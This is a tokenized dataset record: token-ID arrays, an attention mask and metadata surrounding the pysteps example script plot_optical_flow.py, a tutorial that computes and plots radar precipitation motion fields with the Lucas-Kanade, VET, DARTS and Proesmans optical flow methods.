277, 14, 1231, 63, 5875, 9, 267, 291, 14, 1708, 63, 954, 74, 63, 17, 275, 26793, 2927, 8, 1708, 29, 277, 14, 1231, 63, 5875, 9, 267, 291, 14, 5601, 63, 1896, 63, 1708, 275, 26793, 2927, 8, 1708, 29, 277, 14, 5601, 63, 1896, 63, 1231, 9, 398, 291, 14, 22431, 63, 1708, 275, 26793, 2927, 8, 1708, 29, 277, 14, 22431, 63, 1231, 9, 398, 291, 14, 1708, 63, 954, 74, 63, 16, 14, 2117, 342, 267, 291, 14, 1708, 63, 954, 74, 63, 17, 14, 2117, 342, 267, 291, 14, 22431, 63, 1708, 14, 2117, 342, 267, 291, 14, 5601, 63, 1896, 63, 1708, 14, 2117, 342, 398, 291, 14, 1739, 63, 954, 74, 63, 383, 275, 26793, 2927, 8, 1708, 29, 277, 14, 1708, 63, 954, 74, 63, 16, 9, 267, 291, 14, 1739, 63, 954, 74, 63, 614, 275, 26793, 2927, 8, 1708, 29, 277, 14, 1708, 63, 954, 74, 63, 16, 9, 267, 291, 14, 1739, 63, 954, 74, 63, 709, 275, 26793, 2927, 8, 1708, 29, 277, 14, 1708, 63, 954, 74, 63, 17, 9, 267, 291, 14, 1739, 63, 954, 74, 63, 845, 275, 26793, 2927, 8, 1708, 29, 277, 14, 1708, 63, 954, 74, 63, 17, 9, 267, 291, 14, 22431, 63, 1739, 275, 26793, 2927, 8, 1708, 29, 277, 14, 22431, 63, 1708, 9, 398, 291, 14, 1739, 63, 954, 74, 63, 383, 14, 2117, 342, 267, 291, 14, 1739, 63, 954, 74, 63, 614, 14, 2117, 342, 267, 291, 14, 1739, 63, 954, 74, 63, 709, 14, 2117, 342, 267, 291, 14, 1739, 63, 954, 74, 63, 845, 14, 2117, 342, 267, 291, 14, 22431, 63, 1739, 14, 2117, 342, 398, 291, 14, 1078, 63, 2861, 63, 14861, 275, 359, 277, 14, 1231, 63, 5875, 423, 344, 12, 291, 14, 1708, 63, 954, 74, 63, 16, 423, 344, 12, 291, 14, 1739, 63, 954, 74, 63, 383, 423, 344, 61, 267, 291, 14, 1078, 63, 5601, 63, 1896, 63, 14861, 275, 359, 277, 14, 5601, 63, 1896, 63, 1231, 423, 344, 12, 291, 14, 5601, 63, 1896, 63, 1708, 423, 344, 61, 267, 291, 14, 1078, 63, 368, 63, 1896, 63, 14861, 275, 359, 277, 14, 368, 63, 1896, 63, 1231, 423, 344, 61, 267, 291, 14, 1078, 63, 6672, 63, 14861, 275, 359, 277, 14, 1231, 63, 5875, 423, 344, 12, 291, 14, 1708, 63, 954, 74, 63, 17, 423, 344, 61, 267, 291, 14, 1078, 63, 1231, 275, 359, 277, 14, 1231, 63, 5875, 423, 344, 61, 398, 291, 14, 889, 63, 1231, 275, 359, 277, 14, 1708, 63, 954, 74, 63, 16, 423, 344, 12, 291, 14, 1739, 63, 954, 74, 63, 383, 423, 344, 61, 267, 291, 14, 889, 63, 1708, 275, 359, 277, 14, 1231, 63, 5875, 423, 344, 12, 291, 14, 1739, 63, 954, 74, 63, 383, 423, 344, 61, 267, 291, 14, 3197, 63, 1739, 63, 8914, 275, 359, 277, 14, 1231, 63, 5875, 423, 344, 12, 291, 14, 1708, 63, 954, 74, 63, 16, 423, 344, 12, 291, 14, 1739, 63, 954, 74, 63, 709, 423, 344, 61, 267, 291, 14, 3197, 63, 1708, 63, 8914, 275, 359, 277, 14, 1231, 63, 5875, 423, 344, 12, 291, 14, 22431, 63, 1708, 423, 344, 12, 291, 14, 1739, 63, 954, 74, 63, 383, 423, 344, 61, 267, 291, 14, 3197, 63, 1231, 63, 8914, 275, 359, 277, 14, 22431, 63, 1231, 423, 344, 12, 291, 14, 1708, 63, 954, 74, 63, 16, 423, 344, 12, 291, 14, 1739, 63, 954, 74, 63, 383, 423, 344, 61, 267, 291, 14, 3197, 63, 1580, 275, 788, 1397, 1530, 279, 954, 74, 31157, 297, 283, 273, 9200, 12344, 65, 3183, 344, 418, 339, 347, 511, 63, 5812, 285, 1225, 89, 63, 1829, 8, 277, 304, 267, 702, 63, 1452, 8, 277, 14, 1739, 63, 954, 74, 63, 383, 14, 14861, 12, 359, 277, 14, 1231, 63, 5875, 423, 344, 12, 291, 14, 1708, 63, 954, 74, 63, 16, 423, 344, 12, 291, 14, 1739, 63, 954, 74, 63, 383, 423, 344, 566, 267, 702, 63, 1452, 8, 277, 14, 5601, 63, 1896, 63, 1708, 14, 14861, 12, 359, 277, 14, 5601, 63, 1896, 63, 1231, 423, 344, 12, 291, 14, 5601, 63, 1896, 63, 1708, 423, 344, 566, 267, 702, 63, 1452, 8, 277, 14, 368, 63, 1896, 63, 1231, 14, 14861, 12, 359, 277, 14, 368, 63, 1896, 63, 1231, 423, 344, 566, 267, 702, 63, 1452, 8, 277, 14, 1708, 63, 954, 74, 63, 17, 14, 14861, 12, 359, 277, 14, 1231, 63, 5875, 423, 344, 12, 291, 14, 1708, 63, 954, 74, 63, 17, 423, 344, 566, 267, 702, 63, 1452, 8, 277, 14, 1231, 63, 5875, 14, 14861, 12, 359, 277, 14, 1231, 63, 5875, 423, 344, 566, 2378, 347, 511, 63, 785 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 1639, 14, 1018, 14, 3924, 492, 8505, 199, 504, 11354, 14, 2537, 492, 627, 221, 327, 27510, 24, 26, 8151, 334, 25633, 24, 702, 83, 9, 199, 504, 747, 70, 14, 3924, 492, 19381, 3393, 199, 199, 504, 2295, 14, 1095, 492, 593, 7646, 1746, 199, 504, 747, 70, 63, 2219, 14, 15406, 492, 26793, 2927, 12, 510, 1155, 672, 2927, 12, 510, 1155, 672, 6663, 2927, 199, 199, 504, 747, 70, 14, 992, 14, 11346, 492, 4107, 63, 5875, 63, 14861, 421, 199, 533, 1379, 13528, 3987, 13816, 8, 47, 7646, 1746, 304, 272, 347, 3613, 8, 277, 304, 267, 1613, 8, 774, 13528, 3987, 13816, 12, 291, 680, 5996, 342, 398, 291, 14, 1231, 63, 5875, 275, 26793, 2927, 342, 267, 291, 14, 368, 63, 1896, 63, 1231, 275, 26793, 2927, 342, 267, 291, 14, 5601, 63, 1896, 63, 1231, 275, 26793, 2927, 342, 267, 291, 14, 22431, 63, 1231, 275, 26793, 2927, 342, 398, 291, 14, 1231, 63, 5875, 14, 2117, 342, 267, 291, 14, 22431, 63, 1231, 14, 2117, 342, 267, 291, 14, 5601, 63, 1896, 63, 1231, 14, 2117, 342, 267, 291, 14, 368, 63, 1896, 63, 1231, 14, 2117, 342, 398, 291, 14, 1708, 63, 954, 74, 63, 16, 275, 26793, 2927, 8, 1708, 29, 277, 14, 1231, 63, 5875, 9, 267, 291, 14, 1708, 63, 954, 74, 63, 17, 275, 26793, 2927, 8, 1708, 29, 277, 14, 1231, 63, 5875, 9, 267, 291, 14, 5601, 63, 1896, 63, 1708, 275, 26793, 2927, 8, 1708, 29, 277, 14, 5601, 63, 1896, 63, 1231, 9, 398, 291, 14, 22431, 63, 1708, 275, 26793, 2927, 8, 1708, 29, 277, 14, 22431, 63, 1231, 9, 398, 291, 14, 1708, 63, 954, 74, 63, 16, 14, 2117, 342, 267, 291, 14, 1708, 63, 954, 74, 63, 17, 14, 2117, 342, 267, 291, 14, 22431, 63, 1708, 14, 2117, 342, 267, 291, 14, 5601, 63, 1896, 63, 1708, 14, 2117, 342, 398, 291, 14, 1739, 63, 954, 74, 63, 383, 275, 26793, 2927, 8, 1708, 29, 277, 14, 1708, 63, 954, 74, 63, 16, 9, 267, 291, 14, 1739, 63, 954, 74, 63, 614, 275, 26793, 2927, 8, 1708, 29, 277, 14, 1708, 63, 954, 74, 63, 16, 9, 267, 291, 14, 1739, 63, 954, 74, 63, 709, 275, 26793, 2927, 8, 1708, 29, 277, 14, 1708, 63, 954, 74, 63, 17, 9, 267, 291, 14, 1739, 63, 954, 74, 63, 845, 275, 26793, 2927, 8, 1708, 29, 277, 14, 1708, 63, 954, 74, 63, 17, 9, 267, 291, 14, 22431, 63, 1739, 275, 26793, 2927, 8, 1708, 29, 277, 14, 22431, 63, 1708, 9, 398, 291, 14, 1739, 63, 954, 74, 63, 383, 14, 2117, 342, 267, 291, 14, 1739, 63, 954, 74, 63, 614, 14, 2117, 342, 267, 291, 14, 1739, 63, 954, 74, 63, 709, 14, 2117, 342, 267, 291, 14, 1739, 63, 954, 74, 63, 845, 14, 2117, 342, 267, 291, 14, 22431, 63, 1739, 14, 2117, 342, 398, 291, 14, 1078, 63, 2861, 63, 14861, 275, 359, 277, 14, 1231, 63, 5875, 423, 344, 12, 291, 14, 1708, 63, 954, 74, 63, 16, 423, 344, 12, 291, 14, 1739, 63, 954, 74, 63, 383, 423, 344, 61, 267, 291, 14, 1078, 63, 5601, 63, 1896, 63, 14861, 275, 359, 277, 14, 5601, 63, 1896, 63, 1231, 423, 344, 12, 291, 14, 5601, 63, 1896, 63, 1708, 423, 344, 61, 267, 291, 14, 1078, 63, 368, 63, 1896, 63, 14861, 275, 359, 277, 14, 368, 63, 1896, 63, 1231, 423, 344, 61, 267, 291, 14, 1078, 63, 6672, 63, 14861, 275, 359, 277, 14, 1231, 63, 5875, 423, 344, 12, 291, 14, 1708, 63, 954, 74, 63, 17, 423, 344, 61, 267, 291, 14, 1078, 63, 1231, 275, 359, 277, 14, 1231, 63, 5875, 423, 344, 61, 398, 291, 14, 889, 63, 1231, 275, 359, 277, 14, 1708, 63, 954, 74, 63, 16, 423, 344, 12, 291, 14, 1739, 63, 954, 74, 63, 383, 423, 344, 61, 267, 291, 14, 889, 63, 1708, 275, 359, 277, 14, 1231, 63, 5875, 423, 344, 12, 291, 14, 1739, 63, 954, 74, 63, 383, 423, 344, 61, 267, 291, 14, 3197, 63, 1739, 63, 8914, 275, 359, 277, 14, 1231, 63, 5875, 423, 344, 12, 291, 14, 1708, 63, 954, 74, 63, 16, 423, 344, 12, 291, 14, 1739, 63, 954, 74, 63, 709, 423, 344, 61, 267, 291, 14, 3197, 63, 1708, 63, 8914, 275, 359, 277, 14, 1231, 63, 5875, 423, 344, 12, 291, 14, 22431, 63, 1708, 423, 344, 12, 291, 14, 1739, 63, 954, 74, 63, 383, 423, 344, 61, 267, 291, 14, 3197, 63, 1231, 63, 8914, 275, 359, 277, 14, 22431, 63, 1231, 423, 344, 12, 291, 14, 1708, 63, 954, 74, 63, 16, 423, 344, 12, 291, 14, 1739, 63, 954, 74, 63, 383, 423, 344, 61, 267, 291, 14, 3197, 63, 1580, 275, 788, 1397, 1530, 279, 954, 74, 31157, 297, 283, 273, 9200, 12344, 65, 3183, 344, 418, 339, 347, 511, 63, 5812, 285, 1225, 89, 63, 1829, 8, 277, 304, 267, 702, 63, 1452, 8, 277, 14, 1739, 63, 954, 74, 63, 383, 14, 14861, 12, 359, 277, 14, 1231, 63, 5875, 423, 344, 12, 291, 14, 1708, 63, 954, 74, 63, 16, 423, 344, 12, 291, 14, 1739, 63, 954, 74, 63, 383, 423, 344, 566, 267, 702, 63, 1452, 8, 277, 14, 5601, 63, 1896, 63, 1708, 14, 14861, 12, 359, 277, 14, 5601, 63, 1896, 63, 1231, 423, 344, 12, 291, 14, 5601, 63, 1896, 63, 1708, 423, 344, 566, 267, 702, 63, 1452, 8, 277, 14, 368, 63, 1896, 63, 1231, 14, 14861, 12, 359, 277, 14, 368, 63, 1896, 63, 1231, 423, 344, 566, 267, 702, 63, 1452, 8, 277, 14, 1708, 63, 954, 74, 63, 17, 14, 14861, 12, 359, 277, 14, 1231, 63, 5875, 423, 344, 12, 291, 14, 1708, 63, 954, 74, 63, 17, 423, 344, 566, 267, 702, 63, 1452, 8, 277, 14, 1231, 63, 5875, 14, 14861, 12, 359, 277, 14, 1231, 63, 5875, 423, 344, 566, 2378, 347, 511, 63, 785, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pySTEPS/pysteps
examples/plot_optical_flow.py
1
5240
""" Optical flow ============ This tutorial offers a short overview of the optical flow routines available in pysteps and it will cover how to compute and plot the motion field from a sequence of radar images. """ from datetime import datetime from pprint import pprint import matplotlib.pyplot as plt import numpy as np from pysteps import io, motion, rcparams from pysteps.utils import conversion, transformation from pysteps.visualization import plot_precip_field, quiver ################################################################################ # Read the radar input images # --------------------------- # # First, we will import the sequence of radar composites. # You need the pysteps-data archive downloaded and the pystepsrc file # configured with the data_source paths pointing to data folders. # Selected case date = datetime.strptime("201505151630", "%Y%m%d%H%M") data_source = rcparams.data_sources["mch"] ############################################################################### # Load the data from the archive # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ root_path = data_source["root_path"] path_fmt = data_source["path_fmt"] fn_pattern = data_source["fn_pattern"] fn_ext = data_source["fn_ext"] importer_name = data_source["importer"] importer_kwargs = data_source["importer_kwargs"] timestep = data_source["timestep"] # Find the input files from the archive fns = io.archive.find_by_date( date, root_path, path_fmt, fn_pattern, fn_ext, timestep=5, num_prev_files=9 ) # Read the radar composites importer = io.get_method(importer_name, "importer") R, quality, metadata = io.read_timeseries(fns, importer, **importer_kwargs) del quality # Not used ############################################################################### # Preprocess the data # ~~~~~~~~~~~~~~~~~~~ # Convert to mm/h R, metadata = conversion.to_rainrate(R, metadata) # Store the reference frame R_ = R[-1, :, :].copy() # Log-transform the data [dBR] R, metadata = transformation.dB_transform(R, metadata, threshold=0.1, zerovalue=-15.0) # Nicely print the metadata pprint(metadata) ################################################################################ # Lucas-Kanade (LK) # ----------------- # # The Lucas-Kanade optical flow method implemented in pysteps is a local # tracking approach that relies on the OpenCV package. # Local features are tracked in a sequence of two or more radar images. The # scheme includes a final interpolation step in order to produce a smooth # field of motion vectors. oflow_method = motion.get_method("LK") V1 = oflow_method(R[-3:, :, :]) # Plot the motion field on top of the reference frame plot_precip_field(R_, geodata=metadata, title="LK") quiver(V1, geodata=metadata, step=25) plt.show() ################################################################################ # Variational echo tracking (VET) # ------------------------------- # # This module implements the VET algorithm presented # by Laroche and Zawadzki (1995) and used in the McGill Algorithm for # Prediction by Lagrangian Extrapolation (MAPLE) described in # Germann and Zawadzki (2002). # The approach essentially consists of a global optimization routine that seeks # at minimizing a cost function between the displaced and the reference image. oflow_method = motion.get_method("VET") V2 = oflow_method(R[-3:, :, :]) # Plot the motion field plot_precip_field(R_, geodata=metadata, title="VET") quiver(V2, geodata=metadata, step=25) plt.show() ################################################################################ # Dynamic and adaptive radar tracking of storms (DARTS) # ----------------------------------------------------- # # DARTS uses a spectral approach to optical flow that is based on the discrete # Fourier transform (DFT) of a temporal sequence of radar fields. # The level of truncation of the DFT coefficients controls the degree of # smoothness of the estimated motion field, allowing for an efficient # motion estimation. DARTS requires a longer sequence of radar fields for # estimating the motion, here we are going to use all the available 10 fields. oflow_method = motion.get_method("DARTS") R[~np.isfinite(R)] = metadata["zerovalue"] V3 = oflow_method(R) # needs longer training sequence # Plot the motion field plot_precip_field(R_, geodata=metadata, title="DARTS") quiver(V3, geodata=metadata, step=25) plt.show() ################################################################################ # Anisotropic diffusion method (Proesmans et al 1994) # --------------------------------------------------- # # This module implements the anisotropic diffusion method presented in Proesmans # et al. (1994), a robust optical flow technique which employs the notion of # inconsitency during the solution of the optical flow equations. oflow_method = motion.get_method("proesmans") R[~np.isfinite(R)] = metadata["zerovalue"] V4 = oflow_method(R[-2:, :, :]) # Plot the motion field plot_precip_field(R_, geodata=metadata, title="Proesmans") quiver(V4, geodata=metadata, step=25) plt.show() # sphinx_gallery_thumbnail_number = 1
bsd-3-clause
[ 624, 202, 199, 4619, 3294, 6369, 202, 199, 5769, 2999, 199, 2765, 307, 15888, 32563, 282, 3974, 23503, 402, 314, 1687, 3294, 6369, 14975, 2808, 315, 20712, 199, 15983, 6224, 436, 652, 911, 8486, 4212, 370, 4526, 436, 5137, 314, 25134, 901, 687, 282, 20712, 199, 4041, 402, 660, 4460, 5935, 14, 202, 199, 624, 2999, 199, 504, 2197, 492, 2197, 202, 199, 504, 10933, 492, 10933, 202, 199, 646, 8027, 14, 13563, 465, 4488, 202, 199, 646, 2680, 465, 980, 2999, 199, 504, 10382, 6224, 492, 5890, 12, 25134, 12, 4819, 1162, 202, 199, 504, 10382, 6224, 14, 1208, 492, 8603, 12, 13315, 202, 199, 504, 10382, 6224, 14, 16948, 2072, 492, 5137, 63, 657, 6237, 63, 698, 12, 6728, 422, 2999, 199, 13289, 202, 199, 3, 5574, 314, 660, 4460, 1324, 5935, 202, 199, 3, 10652, 13715, 202, 199, 3, 202, 199, 3, 7758, 12, 781, 911, 492, 314, 3414, 402, 660, 4460, 11395, 8619, 14, 202, 199, 3, 2047, 1929, 314, 10382, 6224, 13, 576, 6359, 13557, 436, 314, 10382, 6224, 1195, 570, 202, 199, 3, 7526, 543, 314, 666, 63, 1365, 3792, 20686, 370, 666, 16533, 14, 2999, 199, 3, 3240, 2820, 1930, 202, 199, 602, 275, 2197, 14, 9866, 480, 1797, 13938, 1046, 975, 1216, 401, 2071, 57, 5, 77, 5, 68, 5, 40, 5, 45, 531, 202, 199, 576, 63, 1365, 275, 4819, 1162, 14, 576, 63, 4553, 905, 77, 335, 937, 2999, 199, 11490, 202, 199, 3, 7190, 314, 666, 687, 314, 6359, 202, 199, 3, 18294, 22935, 1714, 2999, 199, 1231, 63, 515, 275, 666, 63, 1365, 905, 1231, 63, 515, 937, 202, 199, 515, 63, 5045, 275, 666, 63, 1365, 905, 515, 63, 5045, 937, 202, 199, 2324, 63, 3401, 275, 666, 63, 1365, 905, 2324, 63, 3401, 937, 202, 199, 2324, 63, 832, 275, 666, 63, 1365, 905, 2324, 63, 832, 937, 202, 199, 12138, 63, 354, 275, 666, 63, 1365, 905, 12138, 937, 202, 199, 12138, 63, 958, 275, 666, 63, 1365, 905, 12138, 63, 958, 937, 202, 199, 521, 2926, 275, 666, 63, 1365, 905, 521, 2926, 937, 2999, 199, 3, 6668, 314, 1324, 1584, 687, 314, 6359, 202, 199, 31492, 275, 5890, 14, 6404, 14, 1623, 63, 991, 63, 602, 8, 1128, 1434, 12, 1738, 63, 515, 12, 931, 63, 5045, 12, 4325, 63, 3401, 12, 4325, 63, 832, 12, 900, 2926, 29, 21, 12, 1967, 63, 5701, 63, 1725, 29, 25, 202, 199, 9, 2999, 199, 3, 5574, 314, 660, 4460, 11395, 8619, 202, 199, 12138, 275, 5890, 14, 362, 63, 765, 8, 12138, 63, 354, 12, 298, 12138, 531, 202, 199, 50, 12, 11030, 12, 3341, 275, 5890, 14, 739, 63, 28551, 8, 31492, 12, 13479, 12, 1011, 12138, 63, 958, 9, 2999, 199, 2264, 11030, 221, 327, 2832, 1202, 2999, 199, 11490, 202, 199, 3, 5543, 1412, 314, 666, 202, 199, 3, 18294, 23597, 2999, 199, 3, 7905, 370, 8562, 15, 72, 202, 199, 50, 12, 3341, 275, 8603, 14, 475, 63, 6322, 1866, 8, 50, 12, 3341, 9, 2999, 199, 3, 13874, 314, 3659, 2787, 202, 199, 50, 63, 275, 820, 1988, 17, 12, 13785, 520, 1055, 1574, 342, 2999, 199, 3, 5297, 13, 4711, 314, 666, 359, 68, 7184, 61, 202, 199, 50, 12, 3341, 275, 13315, 14, 26256, 63, 4711, 8, 50, 12, 3341, 12, 8765, 29, 16, 14, 17, 12, 4697, 585, 4022, 1046, 14, 16, 9, 2999, 199, 3, 653, 1885, 590, 870, 314, 3341, 202, 199, 15380, 8, 2343, 9, 2999, 199, 13289, 202, 199, 3, 491, 947, 305, 13, 43, 6738, 271, 334, 44, 43, 9, 202, 199, 3, 10652, 13, 202, 199, 3, 202, 199, 3, 710, 491, 947, 305, 13, 43, 6738, 271, 1687, 3294, 6369, 1083, 6366, 315, 10382, 6224, 365, 282, 2257, 202, 199, 3, 15161, 18140, 626, 25749, 641, 314, 3232, 12847, 2559, 14, 202, 199, 3, 10111, 4534, 787, 23268, 315, 282, 3414, 402, 2877, 503, 1655, 660, 4460, 5935, 14, 710, 202, 199, 3, 5687, 6952, 282, 4242, 14046, 3650, 315, 1865, 370, 7389, 282, 19608, 202, 199, 3, 901, 402, 25134, 11102, 14, 2999, 199, 1618, 674, 63, 765, 275, 25134, 14, 362, 63, 765, 480, 44, 43, 531, 202, 199, 54, 17, 275, 402, 674, 63, 765, 8, 50, 1988, 19, 11941, 13785, 520, 566, 2999, 199, 3, 14794, 314, 25134, 901, 641, 2746, 402, 314, 3659, 2787, 202, 199, 2798, 63, 657, 6237, 63, 698, 8, 50, 3131, 2312, 22971, 29, 2343, 12, 2538, 628, 44, 43, 531, 202, 199, 783, 422, 8, 54, 17, 12, 2312, 22971, 29, 2343, 12, 3650, 29, 821, 9, 202, 199, 6003, 14, 2384, 342, 2999, 199, 13289, 202, 199, 3, 21107, 6279, 11343, 15161, 334, 54, 775, 9, 202, 199, 3, 10652, 18964, 202, 199, 3, 202, 199, 3, 961, 859, 9031, 314, 812, 775, 5563, 26568, 202, 199, 3, 701, 491, 285, 79, 595, 436, 3107, 10084, 22452, 8810, 334, 7155, 21, 9, 436, 1202, 315, 314, 22895, 39, 778, 23823, 367, 202, 199, 3, 5543, 26382, 701, 491, 643, 82, 621, 5653, 7255, 1330, 10410, 334, 5443, 906, 9, 11736, 315, 202, 199, 3, 22261, 20059, 436, 3107, 10084, 22452, 8810, 334, 15135, 680, 202, 199, 3, 710, 18140, 28891, 18581, 402, 282, 2288, 13712, 12981, 626, 1937, 6080, 202, 199, 3, 737, 18790, 9147, 282, 7918, 805, 3382, 314, 9628, 1071, 68, 436, 314, 3659, 1834, 14, 2999, 199, 1618, 674, 63, 765, 275, 25134, 14, 362, 63, 765, 480, 54, 775, 531, 202, 199, 54, 18, 275, 402, 674, 63, 765, 8, 50, 1988, 19, 11941, 13785, 520, 566, 2999, 199, 3, 14794, 314, 25134, 901, 202, 199, 2798, 63, 657, 6237, 63, 698, 8, 50, 3131, 2312, 22971, 29, 2343, 12, 2538, 628, 54, 775, 531, 202, 199, 783, 422, 8, 54, 18, 12, 2312, 22971, 29, 2343, 12, 3650, 29, 821, 9, 202, 199, 6003, 14, 2384, 342, 2999, 199, 13289, 202, 199, 3, 21907, 436, 1503, 22430, 660, 4460, 15161, 402, 410, 269, 706, 334, 36, 2294, 51, 9, 202, 199, 3, 9527, 9858, 202, 199, 3, 202, 199, 3, 577, 2294, 51, 4440, 282, 28397, 18140 ]
[ 202, 199, 4619, 3294, 6369, 202, 199, 5769, 2999, 199, 2765, 307, 15888, 32563, 282, 3974, 23503, 402, 314, 1687, 3294, 6369, 14975, 2808, 315, 20712, 199, 15983, 6224, 436, 652, 911, 8486, 4212, 370, 4526, 436, 5137, 314, 25134, 901, 687, 282, 20712, 199, 4041, 402, 660, 4460, 5935, 14, 202, 199, 624, 2999, 199, 504, 2197, 492, 2197, 202, 199, 504, 10933, 492, 10933, 202, 199, 646, 8027, 14, 13563, 465, 4488, 202, 199, 646, 2680, 465, 980, 2999, 199, 504, 10382, 6224, 492, 5890, 12, 25134, 12, 4819, 1162, 202, 199, 504, 10382, 6224, 14, 1208, 492, 8603, 12, 13315, 202, 199, 504, 10382, 6224, 14, 16948, 2072, 492, 5137, 63, 657, 6237, 63, 698, 12, 6728, 422, 2999, 199, 13289, 202, 199, 3, 5574, 314, 660, 4460, 1324, 5935, 202, 199, 3, 10652, 13715, 202, 199, 3, 202, 199, 3, 7758, 12, 781, 911, 492, 314, 3414, 402, 660, 4460, 11395, 8619, 14, 202, 199, 3, 2047, 1929, 314, 10382, 6224, 13, 576, 6359, 13557, 436, 314, 10382, 6224, 1195, 570, 202, 199, 3, 7526, 543, 314, 666, 63, 1365, 3792, 20686, 370, 666, 16533, 14, 2999, 199, 3, 3240, 2820, 1930, 202, 199, 602, 275, 2197, 14, 9866, 480, 1797, 13938, 1046, 975, 1216, 401, 2071, 57, 5, 77, 5, 68, 5, 40, 5, 45, 531, 202, 199, 576, 63, 1365, 275, 4819, 1162, 14, 576, 63, 4553, 905, 77, 335, 937, 2999, 199, 11490, 202, 199, 3, 7190, 314, 666, 687, 314, 6359, 202, 199, 3, 18294, 22935, 1714, 2999, 199, 1231, 63, 515, 275, 666, 63, 1365, 905, 1231, 63, 515, 937, 202, 199, 515, 63, 5045, 275, 666, 63, 1365, 905, 515, 63, 5045, 937, 202, 199, 2324, 63, 3401, 275, 666, 63, 1365, 905, 2324, 63, 3401, 937, 202, 199, 2324, 63, 832, 275, 666, 63, 1365, 905, 2324, 63, 832, 937, 202, 199, 12138, 63, 354, 275, 666, 63, 1365, 905, 12138, 937, 202, 199, 12138, 63, 958, 275, 666, 63, 1365, 905, 12138, 63, 958, 937, 202, 199, 521, 2926, 275, 666, 63, 1365, 905, 521, 2926, 937, 2999, 199, 3, 6668, 314, 1324, 1584, 687, 314, 6359, 202, 199, 31492, 275, 5890, 14, 6404, 14, 1623, 63, 991, 63, 602, 8, 1128, 1434, 12, 1738, 63, 515, 12, 931, 63, 5045, 12, 4325, 63, 3401, 12, 4325, 63, 832, 12, 900, 2926, 29, 21, 12, 1967, 63, 5701, 63, 1725, 29, 25, 202, 199, 9, 2999, 199, 3, 5574, 314, 660, 4460, 11395, 8619, 202, 199, 12138, 275, 5890, 14, 362, 63, 765, 8, 12138, 63, 354, 12, 298, 12138, 531, 202, 199, 50, 12, 11030, 12, 3341, 275, 5890, 14, 739, 63, 28551, 8, 31492, 12, 13479, 12, 1011, 12138, 63, 958, 9, 2999, 199, 2264, 11030, 221, 327, 2832, 1202, 2999, 199, 11490, 202, 199, 3, 5543, 1412, 314, 666, 202, 199, 3, 18294, 23597, 2999, 199, 3, 7905, 370, 8562, 15, 72, 202, 199, 50, 12, 3341, 275, 8603, 14, 475, 63, 6322, 1866, 8, 50, 12, 3341, 9, 2999, 199, 3, 13874, 314, 3659, 2787, 202, 199, 50, 63, 275, 820, 1988, 17, 12, 13785, 520, 1055, 1574, 342, 2999, 199, 3, 5297, 13, 4711, 314, 666, 359, 68, 7184, 61, 202, 199, 50, 12, 3341, 275, 13315, 14, 26256, 63, 4711, 8, 50, 12, 3341, 12, 8765, 29, 16, 14, 17, 12, 4697, 585, 4022, 1046, 14, 16, 9, 2999, 199, 3, 653, 1885, 590, 870, 314, 3341, 202, 199, 15380, 8, 2343, 9, 2999, 199, 13289, 202, 199, 3, 491, 947, 305, 13, 43, 6738, 271, 334, 44, 43, 9, 202, 199, 3, 10652, 13, 202, 199, 3, 202, 199, 3, 710, 491, 947, 305, 13, 43, 6738, 271, 1687, 3294, 6369, 1083, 6366, 315, 10382, 6224, 365, 282, 2257, 202, 199, 3, 15161, 18140, 626, 25749, 641, 314, 3232, 12847, 2559, 14, 202, 199, 3, 10111, 4534, 787, 23268, 315, 282, 3414, 402, 2877, 503, 1655, 660, 4460, 5935, 14, 710, 202, 199, 3, 5687, 6952, 282, 4242, 14046, 3650, 315, 1865, 370, 7389, 282, 19608, 202, 199, 3, 901, 402, 25134, 11102, 14, 2999, 199, 1618, 674, 63, 765, 275, 25134, 14, 362, 63, 765, 480, 44, 43, 531, 202, 199, 54, 17, 275, 402, 674, 63, 765, 8, 50, 1988, 19, 11941, 13785, 520, 566, 2999, 199, 3, 14794, 314, 25134, 901, 641, 2746, 402, 314, 3659, 2787, 202, 199, 2798, 63, 657, 6237, 63, 698, 8, 50, 3131, 2312, 22971, 29, 2343, 12, 2538, 628, 44, 43, 531, 202, 199, 783, 422, 8, 54, 17, 12, 2312, 22971, 29, 2343, 12, 3650, 29, 821, 9, 202, 199, 6003, 14, 2384, 342, 2999, 199, 13289, 202, 199, 3, 21107, 6279, 11343, 15161, 334, 54, 775, 9, 202, 199, 3, 10652, 18964, 202, 199, 3, 202, 199, 3, 961, 859, 9031, 314, 812, 775, 5563, 26568, 202, 199, 3, 701, 491, 285, 79, 595, 436, 3107, 10084, 22452, 8810, 334, 7155, 21, 9, 436, 1202, 315, 314, 22895, 